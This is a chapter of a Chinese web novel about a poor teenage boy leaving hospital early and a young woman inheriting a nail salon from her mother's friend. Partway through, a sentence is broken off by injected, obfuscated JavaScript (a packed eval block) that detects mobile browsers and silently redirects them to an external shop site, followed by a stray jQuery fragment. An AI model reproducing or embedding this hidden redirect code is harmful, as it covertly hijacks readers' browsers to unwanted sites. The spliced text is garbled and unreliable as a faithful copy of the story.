医院消毒水味刺入鼻尖，耳边点滴落下的滴答声在这个宁静的病房里响起，窗外的阳光很好，窗帘被刚进来的护士拉开一角。
“你这伤还得多修养几天，急着出院干嘛？”
护士按照惯例，每天要来查一次房，她注意到床上的病人有些脱针，紧紧攥住人的手，又绑了一圈胶带。
“家里没人吗？也不来个人照看一下，自己一个人住院就是麻烦。”
摆在眼前的手背一块慢慢肿了起来，护士又起身去调节挂在旁边的点滴频率。
少年人清瘦的骨骼凸起，清白的阳光照在他过分俊秀的五官上，身处这个病房，站在他的旁边，总感觉空调的冷风在对着后颈嗖嗖吹。
护士不禁打了个哆嗦，她瞥了一眼床上病人清清冷冷的神情，就好像旁边坐的是一个没有什么反应的假人，说话得不到回应，任人摆布挪动。
确认其一切体征都完好后，护士起身，握着门把的手一顿，叹了口气，然后离开，关上了门。
门关上的那一瞬，病床上的人才像是刚活过来一般，他掌心下面覆着一本包了透明皮的英语书，翻开来，里面是密密麻麻的笔记。
他像是刚回过神来一般，眼皮在触及某一页时，猛地一跳。
在黑色水笔批注过的语法旁边，被人用另一种相对稚嫩的字体照样描摹了一遍。
字体的主人显然不是对英语语法感兴趣，更像是上课无聊写着玩儿的。
脑海里很快浮现出夏日燥热异常的教室里，讲台上老师捧着书在过道两边走来走去，少女昏昏欲睡撑着脑袋，最后伏在桌子上，视线聚焦到被框出来的一行黑字，一下子就吸引了过去，然后握着黑笔，模样状似认真地在一边，一笔一划，将那句话抄了一遍。
她写字像画画，每个字的最后一笔都要打个圈一样的鬼画符。
翻上英语书，周瞭停那条还挂着盐水的胳膊动了动，压着那一页折了一个角后，他将目光转向窗边留了一道缝的光，外面是一棵歪脖子树，郁郁葱葱的树枝敲打着窗户。
就是这个声音，吵了他一晚上没睡好，导致眼底留有厚厚的黑眼圈。
他现在精神状态很差，整个人透着一股萎靡劲儿。
一分一秒，等着点滴流完，等着从头顶挂着的那个透明塑料瓶见底，清凉的触感流经他手背凸起的脉络，他伸缩了一下微微有些麻的指节。
一点一滴，又是哪里来的一阵风，让枝杈有节律地拍动着窗。
不知道多少下的时候，周瞭停按动了床边的那个按钮，等护士拔出针头后，他眼皮抖了抖，薄薄的一层上面跟压了厚厚的雪似的，抹开来是青灰色的纤细血管。
“我今天就要出院。”
清冷的嗓音就跟盐水瓶里滴下来的药水一样，凉得人心尖一颤。
“啊？”护士收拾完东西，她叉着腰，似是还没有遇到过这样无理取闹的病人。
“你这住了都不到一个星期啊，腿上和手上的伤都没好全，年轻人要对自己的身体负责啊，别到时候落下一身病痛。该修养的时候，还是得好好修养。”
周瞭停撑着床沿起身，他一只脚的石膏还没拆下来，捞过放在床边的单拐，强撑着使出全身的力气来撑起躺床多日虚弱不堪的身体。
“我没钱，付不起一个星期的住院费，就算今天我不主动离开，明天也会被医院赶出来。”
护士闻言，气势一下子弱了下来，她愣愣开口：“啊？你这……你这还没交过钱啊？”
当天晚上又是警察又是救护车，一片混乱，或许是看他可怜，家里也没人来看顾，缴费那边也迟迟没来催。
护士提着一堆吊空的瓶瓶罐罐还有管子，走了。
病房里只剩下周瞭停一个人。
他住院时就没带进来多少东西，统共也就住了不到五天，大部分都是换洗的衣物。
班级里的人来看过他，给他床头留了一捧花，然后些水果，花已经蔫儿了，水果还没怎么动过。
周瞭停将需要的东西都塞进他经常背在身后的那个黑包里，然后拄着单拐一崴一崴走出病房门。
门轻轻打开，轻轻关上。
徒留床头柜上那捧枯凋的花束。
收缴费用的地方，女人从窗口伸出那条瘦长的胳膊，摊开掌心。
“医保有没有？”
周瞭停将掌心攥着的卡塞过去。
那头拿过来，对着电脑刷了一下。
过了一会儿，再递回来。
“好了。”
清隽的少年转身，打了石膏的那条腿高高翘在半空，院门□□进来的光刚好打在他离去的背影上，这样一副让人哀怜的画面，放在那道坚毅又倔强的身影上，肩胛骨撑起来的两个小凸起，就跟翅膀一样，像他的人，挺直的脊梁里长出一棵永远茁壮生长的树。
树干架着他单薄的身躯，永远不弯曲。
-
火车站里人头攒动，有一批下火车的人涌进了站里。
代芝花梗着脖子望了一圈，还是没有找到那头烫过的红发，在这片到处都是灰溜溜的身影里，应该是很显眼的呀。
她靠边站在便利店门口，踮起脚尖。
掌心里攥着一张王嫣强硬塞给自己的卡，不知道里面有多少钱，说是补偿自己的。
代芝花拿到的第一反应就是想扔掉，折成两半扔进垃圾桶，或者扔到铁轨上让火车碾碎。后来，她又想，这本来就是他们欠自己的，不要白不要。
薄薄一张卡卡着她的虎口，在她掌心压出一道细长的折痕。
女人和男人牵着拥在中间的孩子，再次走进了火车站。
原来他们不是下火车，而是要上火车。
三个人一排，刚好靠窗的座位。
火车开始发动，尖长的鸣笛声先响起，然后就是碾过铁轨的摩擦声。
窗边的景致在倒退，苍郁的树木招摇着枝杈，速度越来越快，灰白的建筑都成了一滩缩影。
代忠国接走了王嫣，去到城里刚落地的新家。
他们离
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866922|212217||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
开了生活大半辈子的荡口镇，一同被抛在身后的，还有代芝花。
代芝花终于在楼梯口看到了拎着大包小包的张姐，她旁边还站着一个送行的男人。
男人双手插兜，显然没有丝毫要帮她提的意思。
张姐这回打扮得收敛了很多，那头烫过的红发很显眼，但是衣服却相较以往普通了很多，是集市上大多数四五十岁老妇女会买的花色衬衫。
但胜在布料舒适，单薄的一层贴着腿皮，走起路来很凉快。
代芝花赶紧上前帮忙，拎起地上放着的一个大背包，那重量简直不像是正常人能承受的。
她不禁发出感叹：“张姐，你这是把家里都搬空了？”
张姐倒是没反驳：“那当然了。”
这回答倒是让代芝花一愣。
她都差点忘了，张姐这次走，就真的不回来了。
以前张姐经常会要外出去办事，留代芝花一个人在店里干活，有空的时候，代芝花也会来送一送张姐，火车站里，她还会厚脸皮向张姐讨要回来的一些礼物。
“店里那些没什么用的材料，你卖掉也好，自己拿去用也好，就都留给你了，前几天房东说租期到了，来催了一嘴，后来我不租了，又迟迟没找到下一个租客，说那地方可以再留给我一段时间，但是我也不在这地了。”
张姐使出吃奶的力拖拽着地上那堆东西，边走边跟代芝花唠家常似的聊。
“花花，你跟了我这么久，也不知道有没有学到什么东西，我也没什么可以留给你。”
“我不想结婚，没有孩子，一个人挺孤独的，以前你妈妈就经常牵着你来看我，当时就觉得你这孩子可爱，机灵，而且审美不错，你们小年轻干美甲这行比我这个老阿姨行多了。”
代芝花不知道回什么，只能跟着点点头。
张姐把最后一袋东西拎到火车上面，她人还站在阶梯旁边，因为刚刚搬东西耗费了大半体力，额头都沁出一层密密麻麻的汗。
她抬起胳膊撩动了一下刮在额头的发丝，然后掌心抚过代芝花同样热得通红的脸颊。
“这脸长得真像你妈。”她喃喃。
“是好事啊，以前那副鬼样子我以为你喜欢，就从来没说过你，现在这样清清爽爽多好。”
粗粝的肌肤擦过她的耳朵，将她额前的碎发都撩到耳朵后面去，带着薄茧的手指一下一下揉着她脑门前的发。
动作算不上温柔，却有种说不出的亲昵。
“花花，那店留给你了。”张姐突然低下头，她目光悄悄瞥了一眼站在身后的男人，见对方朝这里看过来，声音又低了几分。
“那地方其实本来就是你妈和我一起开的，我从来没跟你讲过，因为怕你爸知道，店我让人盘了下来，写的你的名字，就当是你妈和我留给你的最后的东西。”
她将人揽进怀里，像是在给不舍地拥抱，嘴巴靠近那被掩在乱发下的耳朵。
低语，像叹息。
“好姑娘，千千万万要抵住诱惑啊。”